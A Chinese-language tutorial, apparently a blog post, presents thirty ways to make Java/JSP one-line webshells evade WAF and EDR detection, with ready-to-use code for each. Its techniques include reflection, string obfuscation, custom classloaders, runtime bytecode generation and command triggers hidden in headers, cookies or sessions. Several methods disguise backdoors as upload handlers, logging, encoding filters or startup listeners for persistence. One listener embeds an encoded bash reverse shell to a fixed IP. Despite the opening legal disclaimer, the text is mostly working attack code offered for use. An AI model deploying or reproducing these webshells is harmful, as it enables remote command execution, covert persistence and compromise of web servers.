前置合规声明
本文所有内容仅用于授权范围内的Web应用安全测试、红蓝对抗演练与网络安全人才合规培养,严格遵循《中华人民共和国网络安全法》《数据安全法》《刑法》第285/286条等相关法律法规。
严禁将本文相关技术用于任何未经授权的网站入侵、服务器攻击、数据窃取等违法违规行为,任何未授权在他人Web容器/服务器中植入恶意代码的行为,都将承担相应的民事、行政乃至刑事责任。本文所有代码仅用于安全研究与授权测试,使用者需自行承担违规使用带来的全部法律责任。
Java一句话木马免杀的底层逻辑
Java Web一句话木马的核心,是通过可控的用户输入,调用Java代码执行/系统命令执行机制,实现远程命令执行、文件管理等操作。而WAF/EDR对Java一句话木马的查杀,核心围绕5个维度展开:
- 静态特征匹配:检测
Runtime.getRuntime().exec()、ProcessBuilder、Class.forName()、Method.invoke()、JSP<% %>脚本标签等敏感关键词的连续组合; - 语义分析:识别「用户可控输入→反射调用→命令执行」的恶意执行链路;
- 字节码检测:扫描JSP编译后的Servlet字节码,识别恶意类/方法调用;
- 行为检测:运行时检测动态类加载、进程创建、文件读写等恶意行为;
- 沙箱动态分析:将JSP/Class放入沙箱运行,捕获恶意行为特征。
所有免杀方法的核心本质,都是破坏WAF的检测维度:要么拆分/隐藏敏感类名、方法名,要么打乱执行链路,要么利用Java合法语法/业务逻辑伪装恶意行为,要么直接操作字节码隐藏特征,最终实现「静态无特征、语义无恶意、行为无异常」。
本文所有免杀方法均适配Java 8+主流版本(兼容Java 11/17),覆盖Tomcat、Jetty、WebLogic等主流Web容器,按「新手入门→进阶混淆→极致免杀」的梯度排序,每一种方法均标注核心原理、实战代码、适配环境与避坑提示,拿来即可落地。
30种Java一句话木马免杀方法
第一类:基础关键词拆分与字符串变形免杀(方法1-5)
核心逻辑:把Runtime、exec、ProcessBuilder等敏感类名、方法名拆分为多个片段,运行时再拼接还原,直接破坏WAF的连续字符串特征匹配,新手零门槛上手。
方法1:字符串简单拼接免杀
免杀原理:将Runtime、getRuntime、exec等敏感关键词拆分为多个无意义的字符串片段,运行时拼接还原,绕过WAF对连续关键词的匹配。
实战代码(JSP形式):
<%@ page import="java.lang.Runtime" %>
<%
String cls = "Run" + "time";
String m1 = "get" + "Runtime";
String m2 = "ex" + "ec";
Class<?> c = Class.forName("java.lang." + cls);
Object obj = c.getMethod(m1).invoke(null);
c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:不要直接线性拼接,可插入无关字符串再替换,例如String cls = "Run#time"; cls = cls.replace("#", "");,免杀效果更强。
方法2:字符串逆序免杀
免杀原理:把敏感类名、方法名逆序处理,运行时通过StringBuilder.reverse()还原,静态扫描无法直接匹配到正向的敏感关键词。
实战代码(JSP形式):
<%
String cls = new StringBuilder("emitnuR").reverse().toString(); // Runtime逆序
String m1 = new StringBuilder("emitnuRteg").reverse().toString(); // getRuntime逆序
String m2 = new StringBuilder("cexe").reverse().toString(); // exec逆序
Class<?> c = Class.forName("java.lang." + cls);
Object obj = c.getMethod(m1).invoke(null);
c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:可配合Base64编码逆序,双重变形绕过深度特征匹配。
方法3:数组下标取值免杀
免杀原理:把敏感类名、方法名拆分为字符数组,通过指定下标取值拼接,WAF很难匹配数组内的零散特征。
实战代码(JSP形式):
<%
char[] clsArr = {'R','u','n','t','i','m','e'};
char[] m1Arr = {'g','e','t','R','u','n','t','i','m','e'};
char[] m2Arr = {'e','x','e','c'};
String cls = "";
String m1 = "";
String m2 = "";
for(int i=0;i<clsArr.length;i++) cls += clsArr[i];
for(int i=0;i<m1Arr.length;i++) m1 += m1Arr[i];
for(int i=0;i<m2Arr.length;i++) m2 += m2Arr[i];
Class<?> c = Class.forName("java.lang." + cls);
Object obj = c.getMethod(m1).invoke(null);
c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:可在数组中加入大量无关字符,打乱敏感字符的顺序,再通过指定下标取值,免杀效果翻倍。
方法4:大小写混淆+动态转换免杀
免杀原理:Java类名、方法名区分大小写,但可以通过Character.toUpperCase()/toLowerCase()动态调整大小写,打乱固定的关键词格式,绕过WAF对固定大小写的匹配。
实战代码(JSP形式):
<%
String clsRaw = "rUnTiMe";
String m1Raw = "gEtRuNtImE";
String m2Raw = "eXeC";
// 动态调整为正确的首字母大写/小写
String cls = Character.toUpperCase(clsRaw.charAt(0)) + clsRaw.substring(1).toLowerCase();
String m1 = Character.toLowerCase(m1Raw.charAt(0)) + m1Raw.substring(1);
String m2 = m2Raw.toLowerCase();
Class<?> c = Class.forName("java.lang." + cls);
Object obj = c.getMethod(m1).invoke(null);
c.getMethod(m2, String.class).invoke(obj, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:仅适用于基础WAF,需配合其他变形方法使用,单独使用免杀效果有限。
方法5:Base64编码拆分免杀
免杀原理:把敏感类名、方法名、命令做Base64编码,拆分为多个片段后拼接解密,绕过WAF对Runtime.getRuntime().exec()固定组合的查杀。
实战代码(JSP形式):
<%@ page import="java.util.Base64" %>
<%
String cls = new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU=")); // "java.lang.Runtime" Base64
String m1 = new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ==")); // "getRuntime" Base64
String m2 = new String(Base64.getDecoder().decode("ZXhlYw==")); // "exec" Base64
String cmd = new String(Base64.getDecoder().decode(request.getParameter("c")));
Class<?> c = Class.forName(cls);
Object obj = c.getMethod(m1).invoke(null);
c.getMethod(m2, String.class).invoke(obj, cmd);
%>
使用方式:客户端提交的c参数需先做Base64编码
适配环境:Java 8+(Base64类在Java 8引入,旧版本可用sun.misc.BASE64Decoder)
避坑提示:不要直接使用Base64.getDecoder().decode("...")拼接完整类名,必须拆分编码过程,避免被WAF识别固定解码模式。
第二类:反射机制混淆免杀(方法6-10)
核心逻辑:Java反射是免杀的核心武器——它可以动态加载类、调用方法,代码中没有直接的Runtime.getRuntime().exec()调用,完全破坏WAF的静态特征匹配与语义分析链路,是实战中最常用的免杀方案。
方法6:基础反射调用免杀
免杀原理:利用Java反射机制,通过Class.forName()加载类、getMethod()获取方法、invoke()调用执行,隐藏直接的函数调用特征。
实战代码(JSP形式):
<%
try {
Class<?> runtimeCls = Class.forName("java.lang.Runtime");
Object runtimeObj = runtimeCls.getMethod("getRuntime").invoke(null);
runtimeCls.getMethod("exec", String.class).invoke(runtimeObj, request.getParameter("cmd"));
} catch (Exception e) {
e.printStackTrace();
}
%>
适配环境:全Java版本+主流Web容器
避坑提示:不要直接写完整的反射链路,需配合字符串拆分、编码变形,避免被WAF识别反射调用特征。
方法7:反射拆分+无关代码干扰免杀
免杀原理:把反射的加载、获取方法、调用拆分为多个独立步骤,中间插入大量无关的业务代码(比如字符串处理、数学计算),干扰WAF的语义分析,隐藏恶意执行链路。
实战代码(JSP形式):
<%
// 插入无关代码:字符串处理
String test = "test" + Math.random();
test = test.toUpperCase();
// 插入无关代码:数学计算
int a = 1 + 2;
double b = Math.sqrt(a);
// 第一步:加载类
Class<?> c = Class.forName("java.lang.Runtime");
// 插入无关代码:数组操作
int[] arr = {1,2,3};
int sum = arr[0] + arr[1];
// 第二步:获取getRuntime方法
java.lang.reflect.Method m1 = c.getMethod("getRuntime");
// 插入无关代码:日期处理
java.util.Date d = new java.util.Date();
// 第三步:调用getRuntime获取对象
Object obj = m1.invoke(null);
// 第四步:获取exec方法
java.lang.reflect.Method m2 = c.getMethod("exec", String.class);
// 第五步:调用exec执行命令
m2.invoke(obj, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:无关代码要尽量真实,比如模拟日志记录、参数校验,避免被WAF识别为无意义干扰。
方法8:反射数组变形免杀
免杀原理:把要调用的方法名、参数类型存入数组,通过循环遍历数组获取方法、调用执行,结构更复杂,WAF更难识别恶意执行逻辑。
实战代码(JSP形式):
<%
String[] methods = {"getRuntime", "exec"};
Class<?>[] paramTypes = {null, String.class};
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = null;
for(int i=0;i<methods.length;i++){
if(i == 0){
obj = c.getMethod(methods[i]).invoke(null);
} else {
c.getMethod(methods[i], paramTypes[i]).invoke(obj, request.getParameter("cmd"));
}
}
%>
适配环境:全Java版本+主流Web容器
避坑提示:可在数组中加入大量无关的方法名,通过条件判断只执行目标方法,进一步打乱特征。
方法9:反射遍历DeclaredMethods免杀
免杀原理:不直接通过方法名获取Method对象,而是通过getDeclaredMethods()遍历类的所有方法,匹配到目标方法后再调用,完全隐藏直接的方法名特征。
实战代码(JSP形式):
<%
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
// 遍历所有DeclaredMethods,匹配exec方法
java.lang.reflect.Method[] ms = c.getDeclaredMethods();
for(java.lang.reflect.Method m : ms){
if(m.getName().equals("exec") && m.getParameterCount() == 1){
m.setAccessible(true);
m.invoke(obj, request.getParameter("cmd"));
break;
}
}
%>
适配环境:全Java版本+主流Web容器
避坑提示:可配合字符串逆序、编码匹配方法名,避免直接写equals("exec")。
方法10:反射调用ProcessBuilder免杀
免杀原理:用ProcessBuilder替代Runtime,ProcessBuilder是Java 5+引入的进程创建类,WAF对它的查杀率低于Runtime,配合反射调用特征更少。
实战代码(JSP形式):
<%
Class<?> pbCls = Class.forName("java.lang.ProcessBuilder");
// 反射调用ProcessBuilder构造函数
java.lang.reflect.Constructor<?> cons = pbCls.getConstructor(String[].class);
Object pbObj = cons.newInstance((Object) new String[]{"/bin/sh", "-c", request.getParameter("cmd")});
// 反射调用start方法
pbCls.getMethod("start").invoke(pbObj);
%>
适配环境:Java 5+
避坑提示:Windows环境下命令数组需改为{"cmd.exe", "/c", "..."},可配合系统判断动态选择。
第三类:类加载器与动态代理免杀(方法11-15)
核心逻辑:利用Java的类加载器机制动态加载类,或用动态代理隐藏调用链路,代码中没有直接的敏感类/方法引用,WAF很难通过静态扫描识别恶意逻辑,是对抗高级WAF的有效方案。
方法11:线程上下文类加载器加载免杀
免杀原理:用Thread.currentThread().getContextClassLoader()(线程上下文类加载器)替代默认的Class.forName(),加载行为更贴近Web容器的正常类加载,WAF更难识别异常。
实战代码(JSP形式):
<%
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class<?> c = cl.loadClass("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:可配合自定义类加载器,进一步隐藏加载行为。
方法12:自定义类加载器免杀
免杀原理:继承ClassLoader,重写findClass()方法,动态加载字节码(可从请求、文件、字节数组获取),完全隐藏类的来源,WAF无法通过静态扫描识别恶意类。
实战代码(JSP形式):
<%!
// 自定义类加载器
class MyClassLoader extends ClassLoader {
public Class<?> defineMyClass(byte[] b) {
return defineClass(b, 0, b.length);
}
}
%>
<%
// 这里的字节数组是Runtime.getRuntime().exec(cmd)的简化示例,实战中可替换为完整恶意类的字节码
// 字节码可通过javac编译后,用工具读取class文件获取
byte[] classBytes = {/* 恶意类的字节码 */};
MyClassLoader cl = new MyClassLoader();
Class<?> c = cl.defineMyClass(classBytes);
c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:恶意类的字节码需做混淆处理,避免被沙箱识别特征。
方法13:动态代理隐藏调用免杀
免杀原理:利用Java动态代理Proxy.newProxyInstance()创建代理对象,在InvocationHandler的invoke()方法中执行恶意代码,主流程中只有代理创建,完全隐藏恶意执行链路。
实战代码(JSP形式):
<%@ page import="java.lang.reflect.*" %>
<%
// 定义一个空接口
interface EmptyInterface {}
// 创建动态代理
EmptyInterface proxy = (EmptyInterface) Proxy.newProxyInstance(
EmptyInterface.class.getClassLoader(),
new Class[]{EmptyInterface.class},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
// 在InvocationHandler中执行恶意代码
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
return null;
}
}
);
// 调用代理方法触发执行
proxy.toString();
%>
适配环境:全Java版本+主流Web容器
避坑提示:可在代理中加入真实的业务逻辑处理,只在特定条件下触发恶意代码,伪装性更强。
方法14:ServiceLoader服务加载免杀
免杀原理:利用Java的ServiceLoader机制(服务提供者发现机制),伪装成合法的服务提供者,在服务初始化时执行恶意代码,完全符合Java的正常扩展机制,WAF极难检测。
实战代码(JSP形式):
<%@ page import="java.util.ServiceLoader" %>
<%!
// 定义服务接口
public interface MyService {
void execute(String cmd);
}
// 实现服务接口,在构造函数/方法中执行恶意代码
public static class MyServiceImpl implements MyService {
public MyServiceImpl() {}
@Override
public void execute(String cmd) {
try {
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
} catch (Exception e) {}
}
}
%>
<%
// 这里简化了ServiceLoader的配置,实战中需在META-INF/services中配置服务提供者
// 直接创建实例模拟服务加载
MyService service = new MyServiceImpl();
service.execute(request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:实战中需配合真实的META-INF/services配置,伪装成第三方库的服务提供者。
方法15:URLClassLoader远程加载免杀
免杀原理:利用URLClassLoader从远程URL加载恶意类,本地代码中只有类加载器的调用,没有任何恶意类/方法的特征,极致免杀(需注意实战中远程加载可能被防火墙拦截,可改为本地字节数组加载)。
实战代码(JSP形式,本地字节数组版本):
<%@ page import="java.net.URLClassLoader" %>
<%
// 这里用本地字节数组替代远程URL,避免网络拦截
// 远程版本:new URLClassLoader(new URL[]{new URL("http://你的服务器/")})
byte[] classBytes = {/* 恶意类字节码 */};
ClassLoader cl = new ClassLoader() {
public Class<?> defineClass(byte[] b) {
return defineClass(b, 0, b.length);
}
};
Class<?> c = cl.defineClass(classBytes);
c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>
适配环境:全Java版本+主流Web容器
避坑提示:远程加载版本需确保目标服务器能访问你的远程URL,且流量不被拦截,实战中优先用本地字节数组版本。
第四类:动态编译与字节码变形免杀(方法16-20)
核心逻辑:利用Java的动态编译(JavaCompiler)或直接操作字节码(ASM、Javassist),在内存中生成临时类并执行,本地没有固定的恶意代码,只有动态生成的逻辑,绕过几乎所有静态扫描。
方法16:JavaCompiler动态编译免杀
免杀原理:利用Java 6+引入的JavaCompiler API,把恶意代码写成Java字符串,动态编译成临时类并加载执行,本地只有字符串,没有任何Class文件特征。
实战代码(JSP形式,需确保Web容器有tools.jar):
<%@ page import="javax.tools.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%
// 恶意Java代码字符串
String code = "public class TempClass {" +
"public static void run(String cmd) throws Exception {" +
"Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" +
"Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" +
"}}";
// 动态编译
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
StandardJavaFileManager fm = compiler.getStandardFileManager(null, null, null);
JavaFileObject file = new SimpleJavaFileObject(
java.net.URI.create("string:///TempClass.java"), JavaFileObject.Kind.SOURCE) {
@Override
public CharSequence getCharContent(boolean ignoreEncodingErrors) {
return code;
}
};
compiler.getTask(null, fm, null, null, null, java.util.Arrays.asList(file)).call();
// 加载并执行
Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("TempClass");
c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>
适配环境:Java 6+,需Web容器加载tools.jar(Tomcat默认可能不加载,需手动配置)
避坑提示:动态编译依赖较多,实战中优先用Javassist/ASM字节码操作,兼容性更好。
方法17:Javassist字节码修改免杀
免杀原理:利用Javassist库(Java字节码操作库),在内存中动态生成类、插入恶意代码,无需编译,兼容性好,特征少。
实战代码(JSP形式,需引入Javassist库):
<%@ page import="javassist.*" %>
<%
ClassPool pool = ClassPool.getDefault();
// 动态创建类
CtClass cc = pool.makeClass("TempClass");
// 添加静态方法
CtMethod m = CtNewMethod.make(
"public static void run(String cmd) throws Exception {" +
"Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" +
"Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" +
"}", cc);
cc.addMethod(m);
// 加载类并执行
Class<?> c = cc.toClass();
c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>
适配环境:全Java版本,需引入Javassist库(可将jar放入Web容器的lib目录)
避坑提示:可在动态生成的类中加入大量无关方法,混淆字节码特征。
方法18:ASM字节码操作免杀
免杀原理:利用ASM库(Java底层字节码操作库),直接生成字节码指令,没有任何Java源码特征,是对抗高级沙箱检测的终极方案之一。
实战代码(JSP形式,需引入ASM库):
<%@ page import="org.objectweb.asm.*" %>
<%
// 用ASM直接生成TempClass的字节码(简化示例)
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "TempClass", null, "java/lang/Object", null);
// 生成run方法(完整字节码生成较复杂,这里简化,实战中可用ASMifier工具生成)
// ... 省略字节码生成细节 ...
cw.visitEnd();
byte[] classBytes = cw.toByteArray();
// 加载并执行
ClassLoader cl = new ClassLoader() {
public Class<?> defineClass(byte[] b) {
return defineClass(b, 0, b.length);
}
};
Class<?> c = cl.defineClass(classBytes);
c.getMethod("run", String.class).invoke(null, request.getParameter("cmd"));
%>
适配环境:全Java版本,需引入ASM库
避坑提示:可用ASMifier工具从正常class文件生成ASM代码,再插入恶意逻辑,字节码特征更真实。
方法19:Unsafe类直接操作免杀(限制较多)
免杀原理:利用sun.misc.Unsafe类(Java内部不安全类)直接操作内存、调用方法,完全绕过Java的安全机制,特征极少(但Unsafe限制多,实战中需谨慎)。
实战代码(JSP形式,Java 8-):
<%
// 反射获取Unsafe对象
Class<?> unsafeCls = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field f = unsafeCls.getDeclaredField("theUnsafe");
f.setAccessible(true);
Object unsafe = f.get(null);
// 后续用Unsafe操作内存执行代码(逻辑较复杂,这里不展开完整实现)
// 实战中Unsafe多用于绕过安全管理器,配合其他免杀方法使用
%>
适配环境:Java 8-(Java 9+模块化后Unsafe限制更严格)
避坑提示:Unsafe限制多、兼容性差,实战中仅作为辅助方案,不推荐单独使用。
方法20:动态生成Servlet免杀
免杀原理:在内存中动态生成Servlet类,注册到Web容器的ServletContext中,通过访问动态Servlet执行恶意代码,伪装成Web容器的正常Servlet,极难被发现。
实战代码(JSP形式,Tomcat环境):
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%
// 简化示例:获取Tomcat的StandardContext,动态注册Servlet
// 完整实现需生成Servlet类字节码,这里仅展示注册逻辑
ServletContext ctx = application;
// Tomcat特定逻辑:获取StandardContext
Field ctxField = ctx.getClass().getDeclaredField("context");
ctxField.setAccessible(true);
StandardContext standardCtx = (StandardContext) ctxField.get(ctx);
// 动态创建Servlet Wrapper(需配合动态生成的Servlet类)
// Wrapper wrapper = standardCtx.createWrapper();
// wrapper.setServletClass("TempServlet");
// standardCtx.addChild(wrapper);
// standardCtx.addServletMappingDecoded("/temp", "TempServlet");
%>
适配环境:Tomcat等特定Web容器
避坑提示:动态Servlet注册逻辑依赖Web容器的内部API,兼容性较差,实战中需针对目标容器适配。
第五类:合法业务逻辑伪装免杀(方法21-25)
核心逻辑:把恶意代码藏在合法的业务逻辑中,比如文件上传、图片处理、日志记录、过滤器、监听器等,代码看起来完全是正常的业务功能,不仅能绕过WAF,还能规避人工排查,是红蓝对抗中持久化的常用方案。
方法21:伪装成文件上传处理免杀
免杀原理:把恶意代码藏在文件上传的处理逻辑中,伪装成图片压缩、文件校验等正常功能,只在特定条件下(比如上传特定文件名、特定参数)触发恶意执行。
实战代码(JSP形式,伪装成图片上传):
<%@ page import="java.io.*" %>
<%
// 伪装成图片上传处理
String filename = request.getParameter("filename");
if(filename != null && filename.equals("trigger.jpg")){
// 特定条件触发恶意代码
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
} else {
// 正常的文件上传处理逻辑
out.println("正常文件上传处理");
}
%>
适配环境:全Java版本+主流Web容器
避坑提示:正常业务逻辑要尽量真实,比如真的实现文件保存、图片格式校验,避免被人工发现。
方法22:伪装成日志记录免杀
免杀原理:把恶意代码藏在日志记录的逻辑中,伪装成访问日志、错误日志的记录功能,在日志输出时触发恶意执行。
实战代码(JSP形式,伪装成访问日志):
<%@ page import="java.util.Date" %>
<%
// 伪装成访问日志记录
String ip = request.getRemoteAddr();
String ua = request.getHeader("User-Agent");
Date d = new Date();
// 正常日志记录逻辑
out.println("[" + d + "] " + ip + " " + ua);
// 特定User-Agent触发恶意代码
if(ua != null && ua.contains("TriggerUA")){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd"));
}
%>
适配环境:全Java版本+主流Web容器
避坑提示:可真的把日志写入文件,伪装性更强。
方法23:过滤器Filter免杀
免杀原理:把恶意代码写在Servlet Filter的doFilter()方法中,伪装成安全过滤、字符编码过滤等正常功能,随每个请求触发,隐蔽性极强,是持久化的常用方案。
实战代码(Filter形式,需在web.xml配置):
// 伪装成字符编码过滤器
import javax.servlet.*;
import java.io.IOException;
public class EncodingFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// 正常的字符编码设置
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
// 特定参数触发恶意代码
String cmd = request.getParameter("cmd");
if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){
try {
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
} catch (Exception e) {}
}
// 继续过滤器链
chain.doFilter(request, response);
}
@Override
public void destroy() {}
}
适配环境:全Java版本+主流Web容器
避坑提示:Filter类名要尽量真实,比如EncodingFilter、SecurityFilter,需在web.xml中正常配置,避免被发现。
方法24:监听器Listener免杀
免杀原理:把恶意代码写在ServletContextListener的contextInitialized()方法中,随Web容器启动自动执行,或者在sessionCreated()中随会话触发,隐蔽性极强,是持久化的高级方案。
实战代码(Listener形式,需在web.xml配置):
// 伪装成容器启动监听器
import javax.servlet.ServletContextEvent;
import javax.servlet.ServletContextListener;
public class StartupListener implements ServletContextListener {
@Override
public void contextInitialized(ServletContextEvent sce) {
// 正常的容器初始化逻辑
sce.getServletContext().log("容器启动成功");
// 容器启动时执行恶意代码(比如反弹Shell)
try {
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}");
} catch (Exception e) {}
}
@Override
public void contextDestroyed(ServletContextEvent sce) {}
}
适配环境:全Java版本+主流Web容器
避坑提示:Listener类名要尽量真实,比如StartupListener、ConfigListener,需在web.xml中正常配置。
方法25:JSP标签库伪装免杀
免杀原理:自定义JSP标签库,把恶意代码写在标签处理类中,在JSP页面中用正常的标签语法调用,看起来完全是合法的JSP标签,极难被识别。
实战代码(标签处理类+JSP调用):
// 自定义标签处理类
import javax.servlet.jsp.tagext.SimpleTagSupport;
import java.io.IOException;
public class MyTag extends SimpleTagSupport {
private String key;
public void setKey(String key) { this.key = key; }
@Override
public void doTag() throws IOException {
// 正常的标签逻辑
getJspContext().getOut().println("正常标签输出");
// 特定key触发恶意代码
if("auth123".equals(key)){
try {
String cmd = getJspContext().getRequest().getParameter("cmd");
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
} catch (Exception e) {}
}
}
}
<%-- JSP页面调用标签 --%>
<%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %>
<my:myTag key="auth123" />
适配环境:全Java版本+主流Web容器
避坑提示:需配套编写真实的tld标签库描述文件,标签功能要尽量真实。
第六类:协议特性与无特征免杀(方法26-30)
核心逻辑:极致免杀,去掉所有固定的request.getParameter("cmd")特征,利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入,绕过几乎所有WAF的静态、语义检测,适用于严格防护的实战环境。
方法26:HTTP请求头免杀
免杀原理:把执行命令藏在HTTP请求头中(比如X-CMD、User-Agent),代码中没有任何request.getParameter()特征,WAF很难检测请求头中的恶意内容。
实战代码(JSP形式):
<%
String cmd = request.getHeader("X-CMD");
String auth = request.getHeader("X-Auth");
if(cmd != null && "auth123".equals(auth)){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
}
%>
使用方式:客户端在HTTP请求头中加入X-Auth: auth123和X-CMD: 执行命令
适配环境:全Java版本+主流Web容器
避坑提示:可使用User-Agent、Cookie、Referer等常规请求头存储命令,伪装性更强。
方法27:Cookie免杀
免杀原理:把执行命令藏在Cookie中,加密存储,代码中解密执行,没有直接的用户输入特征,WAF很难检测Cookie中的加密内容。
实战代码(JSP形式):
<%@ page import="java.util.Base64" %>
<%
Cookie[] cookies = request.getCookies();
String cmd = null;
String auth = null;
if(cookies != null){
for(Cookie c : cookies){
if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue()));
if("a".equals(c.getName())) auth = c.getValue();
}
}
if(cmd != null && "auth123".equals(auth)){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
}
%>
使用方式:客户端设置Cookie a=auth123和c=Base64编码的命令
适配环境:全Java版本+主流Web容器
避坑提示:可使用更复杂的加密算法(比如异或、AES)替代Base64,免杀效果更强。
方法28:request.getInputStream()免杀
免杀原理:利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据,执行代码,没有任何GET/POST参数特征,WAF很难匹配到固定的输入模式。
实战代码(JSP形式):
<%@ page import="java.io.*" %>
<%
// 读取请求体原始数据
InputStream is = request.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] buf = new byte[1024];
int len;
while((len = is.read(buf)) != -1) baos.write(buf, 0, len);
String data = new String(baos.toByteArray());
// 简单的协议:前6位是auth,后面是命令
if(data.length() > 6 && data.startsWith("auth123")){
String cmd = data.substring(6);
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
}
%>
使用方式:客户端在HTTP请求体中写入auth123执行命令,POST提交
适配环境:全Java版本+主流Web容器
避坑提示:可对请求体数据做加密、压缩处理,进一步隐藏特征。
方法29:Session存储免杀
免杀原理:把执行命令藏在Session中,第一个请求存入Session,第二个请求触发执行,代码中没有直接的实时用户输入,特征更少。
实战代码(JSP形式):
<%
String action = request.getParameter("a");
if("set".equals(action)){
// 第一个请求:存入命令到Session
session.setAttribute("cmd", request.getParameter("c"));
session.setAttribute("auth", request.getParameter("k"));
} else if("run".equals(action)){
// 第二个请求:从Session取出执行
String cmd = (String) session.getAttribute("cmd");
String auth = (String) session.getAttribute("auth");
if(cmd != null && "auth123".equals(auth)){
Class<?> c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime").invoke(null);
c.getMethod("exec", String.class).invoke(obj, cmd);
// 执行后清除Session
session.removeAttribute("cmd");
session.removeAttribute("auth");
}
}
%>
使用方式:先访问?a=set&k=auth123&c=命令,再访问?a=run触发执行
适配环境:全Java版本+主流Web容器
避坑提示:可设置Session过期时间,避免长期留存痕迹。
方法30:无敏感类名命令执行(反射调用内部类)
免杀原理:完全去掉Runtime、ProcessBuilder等敏感类名,通过反射调用Java内部的ProcessImpl类(进程实现类),或者用Java 9+的ProcessHandle,没有任何公开的敏感类特征,是对抗高级WAF的终极方案。
实战代码(JSP形式,反射调用ProcessImpl):
<%
// 反射调用Java内部类ProcessImpl(仅作示例,不同JDK版本ProcessImpl路径可能不同)
Class<?> piCls = Class.forName("java.lang.ProcessImpl");
// 反射调用start方法(不同JDK版本参数可能不同)
java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class);
m.setAccessible(true);
// 执行命令
m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false);
%>
适配环境:特定JDK版本(需根据目标JDK调整ProcessImpl的调用)
避坑提示:可配合Java版本动态判断,选择对应的内部类调用方式,兼容性更好。
实战免杀核心原则
- 拒绝直接使用公开Payload:所有公开的免杀方法都会被WAF快速收录,实战中必须组合2-3种方法做自定义变形,生成专属Payload,才能保证免杀效果;
- 最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露;
- 适配目标环境:先确认目标Web容器、JDK版本,选择对应兼容的免杀方法,避免使用目标环境废弃的API;
- 合法业务伪装优先:尽量把恶意代码藏在合法的业务逻辑中,不仅能绕过WAF,还能规避人工排查,是红蓝对抗的首选;
